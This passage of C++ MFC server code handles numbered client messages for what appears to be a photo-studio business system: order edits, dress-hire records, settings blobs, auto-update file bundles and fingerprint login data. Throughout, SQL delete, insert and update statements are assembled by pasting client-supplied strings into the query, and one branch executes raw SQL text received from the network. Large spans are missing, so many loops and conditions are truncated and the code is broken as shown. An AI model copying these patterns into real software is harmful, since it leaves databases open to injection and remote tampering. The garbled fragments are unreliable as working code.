DeCodelong1((long&)rcpos[i],(long&)rcpos[i+1],(long&)rcpos[i+2],(long&)rcpos[i+3],(long&)rcpos[i+4],(long&)rcpos[i+5],(long&)rcpos[i+6],(long&)rcpos[i+7]); i=8; DeCodelong2((long&)rcpos[i],(long&)rcpos[i+1],(long&)rcpos[i+2],(long&)rcpos[i+3],(long&)rcpos[i+4],(long&)rcpos[i+5],(long&)rcpos[i+6],(long&)rcpos[i+7]); i=16; DeCodelong3((long&)rcpos[i],(long&)rcpos[i+1],(long&)rcpos[i+2],(long&)rcpos[i+3],(long&)rcpos[i+4],(long&)rcpos[i+5],(long&)rcpos[i+6],(long&)rcpos[i+7]); i=24; DeCodelong4((long&)rcpos[i],(long&)rcpos[i+1],(long&)rcpos[i+2],(long&)rcpos[i+3],(long&)rcpos[i+4],(long&)rcpos[i+5],(long&)rcpos[i+6],(long&)rcpos[i+7]); DWORD nPicCount,nPicCount2; nPicCount=dataarray.ElementAt (41); nPicCount2=dataarray.ElementAt (42); DeCodePicCount((long&)nPicCount, (long&)nPicCount2); DWORD bkleng,bkleng2; bkleng=dataarray.ElementAt (43); bkleng2=dataarray.ElementAt (44); DeCodePicCount((long&)bkleng, (long&)bkleng2); ENCODE_START dataarray.SetAt (1, leng1); dataarray.SetAt (2, leng2); dataarray.SetAt (3, leng3); dataarray.SetAt (4, leng4); dataarray.SetAt (5, leng5); dataarray.SetAt (6, leng6); dataarray.SetAt (7, leng7); dataarray.SetAt (8, leng8); for( i=0; i<32; i++) dataarray.SetAt (9+i, rcpos[i]); dataarray.SetAt (41, nPicCount); dataarray.SetAt (42, nPicCount2); dataarray.SetAt (43, bkleng); dataarray.SetAt (44, bkleng2); ENCODE_END int length=0; BYTE *pData = NULL; { CMemFile memfile; CArchive ar(&memfile, CArchive::store); ENCODE_START dataarray.Serialize (ar); ar.Close(); length=memfile.GetLength (); pData = memfile.Detach(); ENCODE_END BYTE *szDataBuf=pData; int nDataLen=length; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } } else if(dwToUserID==8)//订单修改商品 { ENCODE_START { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); for(int ii=0; ii1) { for( ii=0; ii%d ", atol(g_List1array.ElementAt (ii).ElementAt (1)) ); filter+=temp; } } } sql="delete from dindansp where id='"+g_List1array.ElementAt(0).ElementAt(0)+"' and kind<>'4' and kind<>'5' "+filter; MyExecuteSQL ( sql); filter=""; if(g_List1array.ElementAt(0).GetSize ()>1) { for( ii=0; ii'%s' ", g_List1array.ElementAt (ii).ElementAt (1) ); filter+=temp; } } sql="delete from dindanjd where id='"+g_List1array.ElementAt(0).ElementAt(0)+"' "+filter; MyExecuteSQL ( sql); CRecordset myset(m_pConndb); sql="select name from dindanjd where id='"+g_List1array.ElementAt(0).ElementAt(0)+"'"; myset.Open (CRecordset::forwardOnly, sql); CStringArray idarray2; while(!myset.IsEOF()) { myset.GetFieldValue ("name", sql); idarray2.Add (sql); myset.MoveNext(); } myset.Close(); CString clerk=g_List1array.ElementAt(count-1).ElementAt(0); CString date=CTime::GetCurrentTime ().Format ("%Y-%m-%d %H:%M:%S"); CString sql2; if(g_List1array.ElementAt(0).GetSize ()>1) { for(ii=0; ii1) { if(g_List1array.ElementAt (ii).ElementAt (1)!="") { sql.Format ("update dindansp set [spid]='%s',[name]='%s',[shuliang]='%s',[price]='%s',[urgent]='%s',[taketime]='%s' where [autoid]=%d",\ g_List1array.ElementAt(ii).ElementAt(2),\ g_List1array.ElementAt(ii).ElementAt(3),\ g_List1array.ElementAt(ii).ElementAt(5),\ g_List1array.ElementAt(ii).ElementAt(4),\ g_List1array.ElementAt(ii).ElementAt(7),\ g_List1array.ElementAt(ii).ElementAt(8),\ atol(g_List1array.ElementAt(ii).ElementAt(1))); } else { if(g_List1array.ElementAt (ii).GetSize ()==9) sql.Format ("insert into dindansp([id],[spid],[name],[price],[shuliang],[kind],\ [status1],[status2],[urgent],[taketime])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",\ g_List1array.ElementAt(ii).ElementAt(0),\ g_List1array.ElementAt(ii).ElementAt(2),\ g_List1array.ElementAt(ii).ElementAt(3),\ g_List1array.ElementAt(ii).ElementAt(4),\ g_List1array.ElementAt(ii).ElementAt(5),\ g_List1array.ElementAt(ii).ElementAt(6),\ "未完成","未取",\ g_List1array.ElementAt(ii).ElementAt(7),\ g_List1array.ElementAt(ii).ElementAt(8)); else//成长套系 sql.Format ("insert into dindansp([id],[spid],[name],[price],[shuliang],[kind],\ [status1],[status2],[urgent],[taketime],[growthtxname])values('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s')",\ g_List1array.ElementAt(ii).ElementAt(0),\ g_List1array.ElementAt(ii).ElementAt(2),\ g_List1array.ElementAt(ii).ElementAt(3),\ g_List1array.ElementAt(ii).ElementAt(4),\ g_List1array.ElementAt(ii).ElementAt(5),\ g_List1array.ElementAt(ii).ElementAt(6),\ "未完成","未取",\ g_List1array.ElementAt(ii).ElementAt(7),\ g_List1array.ElementAt(ii).ElementAt(8),\ g_List1array.ElementAt(ii).ElementAt(9)); } /////////////// sql2.Format ("insert into dindansp2([id],[name],[count],[date],\ [clerk])values('%s','%s','%s','%s','%s')",\ g_List1array.ElementAt(ii).ElementAt(0),\ g_List1array.ElementAt(ii).ElementAt(3),\ g_List1array.ElementAt(ii).ElementAt(5),\ date,\ clerk); MyExecuteSQL ( sql2); MyExecuteSQL ( sql); /////////////// } } } } ENCODE_END BYTE szDataBuf[2]={0,0}; int nDataLen=1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==9) { ENCODE_START { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); for(int ii=0; iistoreinfoarray; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [storeinfo]"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); storeinfoarray.SetSize(atol(sql) , 1 ); CGoodsinfoSet rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { storeinfoarray.ElementAt (ii).RemoveAll (); storeinfoarray.ElementAt (ii).Add(rsSt.m_type) ; storeinfoarray.ElementAt (ii).Add(rsSt.m_name) ; ii++; rsSt.MoveNext();if(storeinfoarray.GetSize ()<=ii)break; } rsSt.Close();storeinfoarray.SetSize(ii , 1 ); } CArraystoreinfoarray2; { for(int ii=0; iitCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==10) { ENCODE_START CRstUpdate rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open (); if(rsSt.IsEOF()) rsSt.AddNew (); else rsSt.Edit (); rsSt.data3.m_dwDataLength=nMessageLen; HGLOBAL hGlobal = GlobalAlloc(GPTR,nMessageLen); rsSt.data3.m_hData=GlobalLock(hGlobal); memcpy(rsSt.data3.m_hData, ptChatMessage->byFileContent, nMessageLen); rsSt.SetFieldDirty(&rsSt.data3); rsSt.SetFieldNull(&rsSt.data3,FALSE); rsSt.Update(); GlobalUnlock(hGlobal); rsSt.Close(); ENCODE_END BYTE szDataBuf[2]={0,0}; int nDataLen=1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==11) { ENCODE_START CRstUpdate rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open (); if(rsSt.IsEOF()) rsSt.AddNew (); else rsSt.Edit (); rsSt.data4.m_dwDataLength=nMessageLen; HGLOBAL hGlobal = GlobalAlloc(GPTR,nMessageLen); rsSt.data4.m_hData=GlobalLock(hGlobal); memcpy(rsSt.data4.m_hData, ptChatMessage->byFileContent, nMessageLen); rsSt.SetFieldDirty(&rsSt.data4); rsSt.SetFieldNull(&rsSt.data4,FALSE); rsSt.Update(); GlobalUnlock(hGlobal); rsSt.Close(); ENCODE_END BYTE szDataBuf[2]={0,0}; int nDataLen=1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==12) { ENCODE_START CRstUpdate rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open (); if(rsSt.IsEOF()) rsSt.AddNew (); else rsSt.Edit (); rsSt.data5.m_dwDataLength=nMessageLen; HGLOBAL hGlobal = GlobalAlloc(GPTR,nMessageLen); rsSt.data5.m_hData=GlobalLock(hGlobal); memcpy(rsSt.data5.m_hData, ptChatMessage->byFileContent, nMessageLen); rsSt.SetFieldDirty(&rsSt.data5); rsSt.SetFieldNull(&rsSt.data5,FALSE); rsSt.Update(); GlobalUnlock(hGlobal); rsSt.Close(); ENCODE_END BYTE szDataBuf[2]={0,0}; int nDataLen=1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==13) { ENCODE_START { CArrayg_List1array; BYTE *szChatMessage = ptChatMessage->byFileContent; int count; memcpy(&count, szChatMessage+(nMessageLen-sizeof(int)), sizeof(int)); CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); g_List1array.SetSize(count); for(int ii=0; ii1) { for(ii=0; iitCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==14)//read BK { CArraydataarray; BYTE *szChatMessage = ptChatMessage->byFileContent; { CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); dataarray.Serialize (ar); ar.Close(); memfile.Detach (); } DWORD leng1,leng2; leng1=dataarray.ElementAt (0); leng2=dataarray.ElementAt (1); DeCodePicCount((long&)leng1, (long&)leng2); dataarray.SetAt (0, leng1); dataarray.SetAt (1, leng2); { CMemFile memfile; CArchive ar(&memfile, CArchive::store); dataarray.Serialize (ar); ar.Close(); int length=memfile.GetLength (); BYTE *pData = memfile.Detach(); BYTE *szDataBuf=pData; int nDataLen=length; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } } // else if(dwToUserID==15)15禁止使用,被用于信息服务器 else if(dwToUserID==20) { ENCODE_START { CStringArray m_seldressarray; BYTE *szChatMessage = ptChatMessage->byFileContent; CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); m_seldressarray.Serialize (ar); ar.Close(); memfile.Detach (); CString sql,sql2; CString id=m_seldressarray.ElementAt (3); CRecordset myset(m_pConndb); sql="select [no] from [dresshiredata] where [id]='"+id+"'"; myset.Open (CRecordset::forwardOnly, sql); CStringArray noarray; while(!myset.IsEOF()) { myset.GetFieldValue ("no", sql); if(FindArray(&noarray, sql)==-1) noarray.Add (sql); myset.MoveNext(); } myset.Close(); sql2="delete from [dresshiredata] where [id]='"+id+"' and [no]"; int count=atoi(m_seldressarray.ElementAt (m_seldressarray.GetSize ()-3)); CString date1=m_seldressarray.ElementAt (m_seldressarray.GetSize ()-2); CString date2=m_seldressarray.ElementAt (m_seldressarray.GetSize ()-1); for(int i=0; itCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==16) { ENCODE_START CRstUpdate rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open (); if(rsSt.IsEOF()) rsSt.AddNew (); else rsSt.Edit (); rsSt.data6.m_dwDataLength=nMessageLen; HGLOBAL hGlobal = GlobalAlloc(GPTR,nMessageLen); rsSt.data6.m_hData=GlobalLock(hGlobal); memcpy(rsSt.data6.m_hData, ptChatMessage->byFileContent, nMessageLen); rsSt.SetFieldDirty(&rsSt.data6); rsSt.SetFieldNull(&rsSt.data6,FALSE); rsSt.Update(); GlobalUnlock(hGlobal); rsSt.Close(); ENCODE_END BYTE szDataBuf[2]={0,0}; int nDataLen=1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==17) { CODEREPLACE_START CRstUpdate rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open (); if(rsSt.IsEOF()) rsSt.AddNew (); else rsSt.Edit (); rsSt.data7.m_dwDataLength=nMessageLen; HGLOBAL hGlobal = GlobalAlloc(GPTR,nMessageLen); rsSt.data7.m_hData=GlobalLock(hGlobal); memcpy(rsSt.data7.m_hData, ptChatMessage->byFileContent, nMessageLen); rsSt.SetFieldDirty(&rsSt.data7); rsSt.SetFieldNull(&rsSt.data7,FALSE); rsSt.Update(); GlobalUnlock(hGlobal); rsSt.Close(); CODEREPLACE_END BYTE szDataBuf[2]={0,0}; int nDataLen=1; dwDataLen = sizeof(TCHAT_MESSAGE_STRU) + nDataLen ; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)pSendData; memset(pChatMessage, 0x00, dwDataLen); memcpy(pSendData, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==18) { CODEREPLACE_START { CStringArray m_seldressarray; BYTE *szChatMessage = ptChatMessage->byFileContent; CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); m_seldressarray.Serialize (ar); ar.Close(); memfile.Detach (); CString sql,sql2; CString id=m_seldressarray.ElementAt (0); for(int i=0; itCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==19) { CODEREPLACE_START { CStringArray m_seldressarray; BYTE *szChatMessage = ptChatMessage->byFileContent; CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); m_seldressarray.Serialize (ar); ar.Close(); memfile.Detach (); CString sql; CString id=m_seldressarray.ElementAt (0); CRecordset myset(m_pConndb); sql="select [no] from [dresshiredata] where [id]='"+id+"'"; myset.Open (CRecordset::forwardOnly, sql); CStringArray noarray; while(!myset.IsEOF()) { myset.GetFieldValue ("no", sql); if(FindArray(&noarray, sql)==-1) noarray.Add (sql); myset.MoveNext(); } myset.Close(); sql="delete from [dresshire] where [id]='"+id+"'"; MyExecuteSQL ( sql); sql="delete from [dresshiredata] where [id]='"+id+"'"; MyExecuteSQL ( sql); sql="delete from [client] where [id]='"+id+"'"; MyExecuteSQL ( sql); for(int i=0; itCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==211)//升级,新版,先对比文件名 { CStringArray array; BYTE *szChatMessage = ptChatMessage->byFileContent; { CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); array.Serialize (ar); ar.Close(); memfile.Detach (); } BYTE *pData[40]={NULL}; DWORD nDataLeng[40]={0}; BYTE *pSumData=NULL; DWORD sumleng=0; CStringArray filedatearray; int halfsize=array.GetSize ()/2; int halfsize2=g_filedatearraynew.GetSize ()/2; for(int i=0; i5)break; filedatearray.Add (""); CFile fp; fp.Open (g_mainpath+"\\系统文件\\"+array.ElementAt (i), CFile::modeRead); nDataLeng[i]=fp.GetLength (); pData[i]=new BYTE[nDataLeng[i]]; fp.Read (pData[i], nDataLeng[i]); fp.Close (); sumleng+=nDataLeng[i]; } break; } } } CMemFile memfile; CArchive ar(&memfile, CArchive::store); filedatearray.Serialize (ar); ar.Close(); DWORD nArrayLength=memfile.GetLength (); BYTE *pArrayData = memfile.Detach(); pSumData=new BYTE[sizeof(DWORD)*40+sumleng+nArrayLength+sizeof(DWORD)]; memcpy(pSumData, &nArrayLength, sizeof(DWORD)); memcpy(pSumData+sizeof(DWORD), pArrayData, nArrayLength); delete []pArrayData; DWORD bytesread=0; for(i=0; i<40; i++) { memcpy(pSumData+sizeof(DWORD)*i+nArrayLength+sizeof(DWORD), &(nDataLeng[i]), sizeof(DWORD)); if(nDataLeng[i]) { memcpy(pSumData+sizeof(DWORD)*40+bytesread+nArrayLength+sizeof(DWORD), pData[i], nDataLeng[i]); bytesread+=nDataLeng[i]; delete [](pData[i]); } } DWORD nDataLen=sizeof(DWORD)*40+sumleng+nArrayLength+sizeof(DWORD); g_sendhead.tabcount =ptChatMessage->tabcount; DWORD bytesRead=0; // DWORD maxdataleng=1000*1024*1024;//1M // maxdataleng=100*1024*1024;//1M // while(nDataLen-bytesRead) { // DWORD curleng=min(nDataLen-bytesRead, maxdataleng); dwDataLen = MESSAGE_HEADER_LEN + sizeof(TCHAT_MESSAGE_STRU) + nDataLen;//curleng; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)(pSendData+MESSAGE_HEADER_LEN); memset(pSendData, 0x00, dwDataLen); memcpy(pSendData+MESSAGE_HEADER_LEN, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = 8888; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen;//curleng; memcpy(pChatMessage->byFileContent, pSumData+bytesRead, nDataLen);//curleng); // bytesRead+=curleng; FillHeader(pSendData, wMessageId, dwDataLen-MESSAGE_HEADER_LEN); net_Send2((void *)pSendData, dwDataLen); delete [] pSendData; } delete []pSumData; return; } else if(dwToUserID==21)//升级 { CStringArray array; BYTE *szChatMessage = ptChatMessage->byFileContent; { CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); array.Serialize (ar); ar.Close(); memfile.Detach (); } BYTE *pData[40]={NULL}; DWORD nDataLeng[40]={0}; BYTE *pSumData=NULL; DWORD sumleng=0; CStringArray filesarray; filesarray.Add ("AutoUpdate.exe"); filesarray.Add ("skin\\1.lia"); filesarray.Add ("skin\\2.lia"); filesarray.Add ("skin\\3.lia"); filesarray.Add ("skin\\4.lia"); filesarray.Add ("skin\\10.lia"); filesarray.Add ("skin\\logo.jpg"); filesarray.Add ("skin\\标题-选片.jpg"); filesarray.Add ("skin\\标题-看设计.jpg"); filesarray.Add ("图片\\欢迎.jpg"); filesarray.Add ("图片\\连接.jpg"); filesarray.Add ("图片\\标题.jpg"); filesarray.Add ("图片\\背景.jpg"); filesarray.Add ("图片-红色风格\\欢迎.jpg"); filesarray.Add ("图片-红色风格\\连接.jpg"); filesarray.Add ("图片-红色风格\\标题.jpg"); filesarray.Add ("图片-红色风格\\背景.jpg"); filesarray.Add ("图片-红色风格\\选片.jpg"); filesarray.Add ("图片-红色风格\\看设计.jpg"); filesarray.Add ("skin\\1-red.lia"); filesarray.Add ("skin\\2-red.lia"); filesarray.Add ("skin\\10-red.lia"); filesarray.Add ("skin\\6.lia"); filesarray.Add ("图片\\掌中宝.jpg"); CStringArray filedatearray; for(int i=0; itabcount; //DWORD bytesRead=0; // DWORD maxdataleng=1000*1024*1024;//1M // while(nDataLen-bytesRead) { // DWORD curleng=min(nDataLen-bytesRead, maxdataleng); dwDataLen = MESSAGE_HEADER_LEN + sizeof(TCHAT_MESSAGE_STRU) + nDataLen;//curleng; pSendData = new BYTE[dwDataLen]; pChatMessage=(TCHAT_MESSAGE_STRU*)(pSendData+MESSAGE_HEADER_LEN); memset(pSendData, 0x00, dwDataLen); memcpy(pSendData+MESSAGE_HEADER_LEN, &g_sendhead, sizeof(g_sendhead)); pChatMessage->tCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = 8888; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen;//curleng; // memcpy(pChatMessage->byFileContent, pSumData+bytesRead, nDataLen);//curleng); memcpy(pChatMessage->byFileContent, pSumData+0, nDataLen);//curleng); // bytesRead+=curleng; FillHeader(pSendData, wMessageId, dwDataLen-MESSAGE_HEADER_LEN); net_Send2((void *)pSendData, dwDataLen); delete [] pSendData; } delete []pSumData; return; } else if(dwToUserID==22 && g_bLogindataprocess==0) { Unlock(lock.m_handle); g_bLogindataprocess=1; { CStringArray logindataarray; BYTE *szChatMessage = ptChatMessage->byFileContent; CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); logindataarray.Serialize (ar); ar.Close(); memfile.Detach (); CString sql; /*CString lastdate=logindataarray.ElementAt (logindataarray.GetSize ()-1); CString firstdate=logindataarray.ElementAt (1); CString count1,count2; CRecordset myset(m_pConndb); sql="select count(*) as cot from lonindata where datetime='"+lastdate+"' "; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", count1); myset.Close(); sql="select count(*) as cot from lonindata where datetime='"+firstdate+"' "; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", count2); myset.Close();*/ CStringArray array1,array2; CRstLoninData rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); while(!rsSt.IsEOF()) { array1.Add(rsSt.no) ; array2.Add(rsSt.datetime) ; rsSt.MoveNext(); } rsSt.Close(); if(1)//0==atol(count1) || 0==atol(count2)) { if(logindataarray.GetSize ())WriteLogin("指纹数据传输中"); for(int i=0; im_bTerminate)break; BOOL bFind=0; for(int j=0; jtCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(dwToUserID==23) { CODEREPLACE_START { CStringArray m_seldressarray; BYTE *szChatMessage = ptChatMessage->byFileContent; CMemFile memfile; memfile.Attach (szChatMessage, nMessageLen); CArchive ar(&memfile, CArchive::load); m_seldressarray.Serialize (ar); ar.Close(); memfile.Detach (); CString sql; CString id=m_seldressarray.ElementAt (0); sql="delete from [loninbanset] where [weekname]='"+id+"'"; MyExecuteSQL ( sql); for(int i=1; itCommonMsg.dwConnectionID = dwFromUserID; pChatMessage->tCommonMsg.wMessageId = wMessageId; pChatMessage->dwFromUserID = dwFromUserID; pChatMessage->dwToUserID = nDataLen; pChatMessage->wMessageLen = nDataLen; memcpy(pChatMessage->byFileContent, szDataBuf, nDataLen); } else if(ptChatMessage->bsql)//执行sql语句 { char *szChatMessage = new char[nMessageLen]; CODEREPLACE_START memset(szChatMessage, 0x00, nMessageLen); memcpy(szChatMessage, ptChatMessage->byFileContent, nMessageLen); CODEREPLACE_END CString sql=szChatMessage; delete []szChatMessage; sql.Replace("msgtimestamp2", CTime::GetCurrentTime ().Format ("%Y-%m-%d %H:%M:%S")); sql.Replace("msgtimestamp", CTime::GetCurrentTime ().Format ("%Y%m%d%H%M%S")); sql.Replace("msgtimexxstamp", (CTime::GetCurrentTime ()+CTimeSpan(0,0,0,3)).Format ("%Y%m%d%H%M%S")); sql.Replace("curtimereplace", CTime::GetCurrentTime ().Format ("%H:%M:%S")); DWORD count=0; if(dwToUserID!=100) { if(sql.Find ("select max(id)")!=-1) {MyLock lock("getmaxid"); CRecordset myset(m_pConndb); myset.Open (CRecordset::forwardOnly, sql); if(!myset.IsEOF()) { myset.GetFieldValue ("cot", sql); if(sql.GetLength ()>3) count=atol(sql.Right (3)); else count=0; } else count=0; myset.Close(); } else if(sql.Find ("select max(spid)")!=-1) { CRecordset myset(m_pConndb); myset.Open (CRecordset::forwardOnly, sql); if(!myset.IsEOF()) { myset.GetFieldValue ("cot", sql);count=atol(sql); } else count=0; myset.Close(); } else if(sql.Find ("select count(*)")!=-1) { CRecordset myset(m_pConndb); myset.Open (CRecordset::forwardOnly, sql); if(!myset.IsEOF()) { myset.GetFieldValue ("cot", sql); count=atol(sql); } else count=0; myset.Close(); } else if(sql.Find ("update version set [setcheck1]='ok'")!=-1) { UpdateBuKuan3(); /* CRecordset myset(m_pConndb); myset.Open (CRecordset::forwardOnly, sql); if(!myset.IsEOF()) { myset.GetFieldValue ("cot", sql); count=atol(sql); } else count=0; myset.Close();*/ } else if(sql.Find( "[phones]=")!=-1) { CString str=CTime::GetCurrentTime ().Format ("%Y"); count=0; CRecordset myset(m_pConndb); myset.Open (CRecordset::forwardOnly, "select * from sendreg where "+sql); while(!myset.IsEOF ()) { myset.GetFieldValue ("timestamp", sql); if(sql.Left (4)==str) { count=1; break; } myset.MoveNext (); } myset.Close(); } else { try { int pos=sql.Find ("update [dressinfo]"); if(pos!=-1) { MyExecuteSQL ( sql); pos=sql.ReverseFind ('='); sql=sql.Right (sql.GetLength ()-pos-1); sql.TrimLeft ("'"); sql.TrimRight ("'"); UpdateDressBalance(sql); } else if(sql.Find ("***")!=-1) { pos=sql.Find ("***"); while(pos!=-1) { MyExecuteSQL( sql.Left (pos)); sql=sql.Right 